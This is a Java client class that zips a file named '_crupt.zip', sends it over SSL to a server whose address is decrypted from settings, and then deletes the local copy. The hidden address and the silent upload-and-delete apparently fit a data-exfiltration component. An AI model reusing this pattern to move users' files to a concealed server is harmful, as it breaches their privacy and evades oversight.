package moduly.server;

import javax.net.ssl.SSLSocket;
import javax.net.ssl.SSLSocketFactory;
import java.io.File;
import java.io.FileInputStream;
import java.io.OutputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import procat.ui.Nastroiki;

import java.io.*;
import java.net.Socket;
import java.util.ArrayList;

public class ServerClient {


    public ServerClient() {
        Nastroiki nastr = new Nastroiki();

        // Call SendFile Method
        sendFile(Nastroiki.getFolder() + "_crupt.zip", nastr.decrName(nastr.getAdress_server()), nastr.getPort());

        try {
            Thread.sleep(3000);
            new File(Nastroiki.getFolder() + "_crupt.zip").delete();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }

    // sendFile function define here
    private void sendFile(String path, String serverAddress, int port) {
        try {
            SSLSocketFactory sslSocketFactory = (SSLSocketFactory) SSLSocketFactory.getDefault();
            SSLSocket socket = (SSLSocket) sslSocketFactory.createSocket(serverAddress, port); // IP-адрес и порт сервера

            File fileToTransfer = new File(path);
            FileInputStream fileInputStream = new FileInputStream(fileToTransfer);

            OutputStream outputStream = socket.getOutputStream();
            ZipOutputStream zipOutputStream = new ZipOutputStream(outputStream);
            ZipEntry entry = new ZipEntry(fileToTransfer.getName());
            zipOutputStream.putNextEntry(entry);

            byte[] buffer = new byte[1024];
            int length;
            while ((length = fileInputStream.read(buffer)) > 0) {
                zipOutputStream.write(buffer, 0, length);
            }

            zipOutputStream.closeEntry();
            zipOutputStream.close();
            fileInputStream.close();
            socket.close();

            System.out.println("Файл отправлен.");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    /*
    private void sendFile(String path, String serverAddress, int port) { // "127.0.0.1"

        try (Socket socket = new Socket(serverAddress, port);
             FileInputStream fis = new FileInputStream(path);
             OutputStream outputStream = socket.getOutputStream()) {

            byte[] buffer = new byte[1024];
            int bytesRead;
            while ((bytesRead = fis.read(buffer)) != -1) {
                outputStream.write(buffer, 0, bytesRead);
            }

            outputStream.close();
            fis.close();
            System.out.println("File sent successfully.");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
     */
}
